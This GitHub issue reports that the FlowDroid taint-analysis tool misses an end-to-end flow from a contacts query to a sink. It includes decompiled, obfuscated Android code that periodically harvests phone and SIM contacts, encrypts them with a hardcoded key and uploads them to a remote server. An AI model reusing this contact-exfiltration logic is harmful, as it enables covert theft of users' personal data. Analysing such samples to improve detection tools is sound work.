Skip to content

FlowDroid fails to track complete taint flow through Cursor and List operations #774

@marshalwahlexyz1

Description

@marshalwahlexyz1

Hi, @t1mlange @StevenArzt

FlowDroid is not tracking the complete taint flow from ContentResolver.query() through Cursor.getString() and List operations to LianXiRenClass methods. While it can track individual segments of this flow, it fails to connect them into a single end-to-end taint propagation.

These are the step i took

  1. Set up FlowDroid with the following source and sink:
    Source: <android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>
    Sink: <com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>

  2. This is the code structure:
    _package defpackage;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.text.TextUtils;
import com.glx.fenmiframe.get_phonebook.LianXiRenClass;
import com.google.android.gms.common.util.Base64Utils;
import com.google.firebase.crashlytics.internal.persistence.CrashlyticsReportPersistence;
import defpackage.zn;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: UpLoadPhoneBookManager.java /
/
renamed from: ji reason: default package /
/
loaded from: classes.dex */
public class ji {
public static final String[] K4 = {"display_name", "data1", "photo_id", "contact_id"};
public static ji oE;
public ScheduledFuture<?> NC;
public String zO;
public final ScheduledExecutorService sd = Executors.newScheduledThreadPool(2);
public List h7 = new ArrayList();

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$NC */
/* loaded from: classes.dex */
public class NC extends zn.zO {
    public NC() {
    }

    @Override // defpackage.zn.h7
    public void onSuccess(String str, String str2) {
        ji.this.h7.clear();
    }
}

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$sd */
/* loaded from: classes.dex */
public class sd implements Runnable {
    public final /* synthetic */ Context sd;

    public sd(Context context) {
        this.sd = context;
    }

    @Override // java.lang.Runnable
    public void run() {
        ei.NC = true;
        if (oo.NC(this.sd, "android.permission.READ_CONTACTS")) {
            ji jiVar = ji.this;
            String sd = jiVar.sd(jiVar.sd(this.sd));
            if (TextUtils.isEmpty(sd)) {
                ji.this.sd(this.sd, "nodata");
                return;
            } else {
                ji.this.sd(this.sd, sd);
                return;
            }
        }
        ji.this.sd(this.sd, "noauth");
    }
}

public static ji NC() {
    if (oE == null) {
        synchronized (ji.class) {
            if (oE == null) {
                oE = new ji();
            }
        }
    }
    return oE;
}

public void sd() {
    ScheduledFuture<?> scheduledFuture = this.NC;
    if (scheduledFuture != null) {
        scheduledFuture.cancel(true);
        ei.NC = false;
    }
}

public List<LianXiRenClass> sd(Context context) {
    Cursor query;
    ContentResolver contentResolver = context.getContentResolver();
    Cursor query2 = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, K4, null, null, null);
    if (query2 != null) {
        while (query2.moveToNext()) {
            String string = query2.getString(1);
            if (!TextUtils.isEmpty(string)) {
                String string2 = query2.getString(0);
                Long.valueOf(query2.getLong(3));
                String trim = string.trim();
                if (trim.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string2, trim));
                }
            }
        }
        query2.close();
    }
    if (oo.K4(context) && (query = contentResolver.query(Uri.parse("content://icc/adn"), K4, null, null, null)) != null) {
        while (query.moveToNext()) {
            String string3 = query.getString(1);
            if (!TextUtils.isEmpty(string3)) {
                String string4 = query.getString(0);
                String trim2 = string3.trim();
                if (trim2.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string4, trim2));
                }
            }
        }
        query.close();
    }
    return this.h7;
}

public void NC(Context context) {
    if (ei.NC) {
        return;
    }
    this.NC = this.sd.scheduleAtFixedRate(new sd(context), 0L, mo.Xg(context), TimeUnit.MINUTES);
}

public String sd(List<LianXiRenClass> list) {
    JSONObject jSONObject = new JSONObject();
    JSONArray jSONArray = new JSONArray();
    for (int i = 0; i < list.size(); i++) {
        String mobile = list.get(i).getMobile();
        String name = list.get(i).getName();
        try {
            JSONObject jSONObject2 = new JSONObject();
            jSONObject2.put("mobile", mobile.replaceAll("-", "").replaceAll(CrashlyticsReportPersistence.PRIORITY_EVENT_SUFFIX, ""));
            jSONObject2.put("name", name);
            jSONArray.put(jSONObject2);
        } catch (Exception e) {
            String str = "for Error: " + e.toString();
            e.printStackTrace();
        }
    }
    try {
        jSONObject.put("data", jSONArray);
    } catch (JSONException e2) {
        String str2 = "Map Error: " + e2.toString();
        e2.printStackTrace();
    }
    this.zO = jSONObject.toString();
    String str3 = "通讯录获取内容: " + this.zO;
    return this.zO;
}

public void sd(Context context, String str) {
    HashMap hashMap = new HashMap();
    hashMap.put("data", Base64Utils.encode(oo.sd(str.getBytes(), "hXqnawTCDVFu40P4LVXF6YY5Fqfk1C7G".getBytes())));
    zn.oE oEVar = new zn.oE();
    oEVar.NC = hashMap;
    oEVar.sd = context;
    oEVar.zO = ao.D;
    oEVar.pT = "上传通讯录记录";
    oEVar.h7 = new NC();
    zn.NC(oEVar);
}

}_

Observed Behavior

  1. FlowDroid successfully tracks taint from ContentResolver.query() to Cursor.getString().
  2. FlowDroid successfully tracks taint from Cursor.getString() to LianXiRenClass constructor when set as separate source and sink.
  3. FlowDroid fails to track the complete flow from ContentResolver.query() through Cursor.getString() to LianXiRenClass constructor.

Expected Behavior

FlowDroid should track the complete taint flow from ContentResolver.query() through Cursor.getString() and List operations to LianXiRenClass methods.

Is this a known limitation of FlowDroid? If so, are there any workarounds ?

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions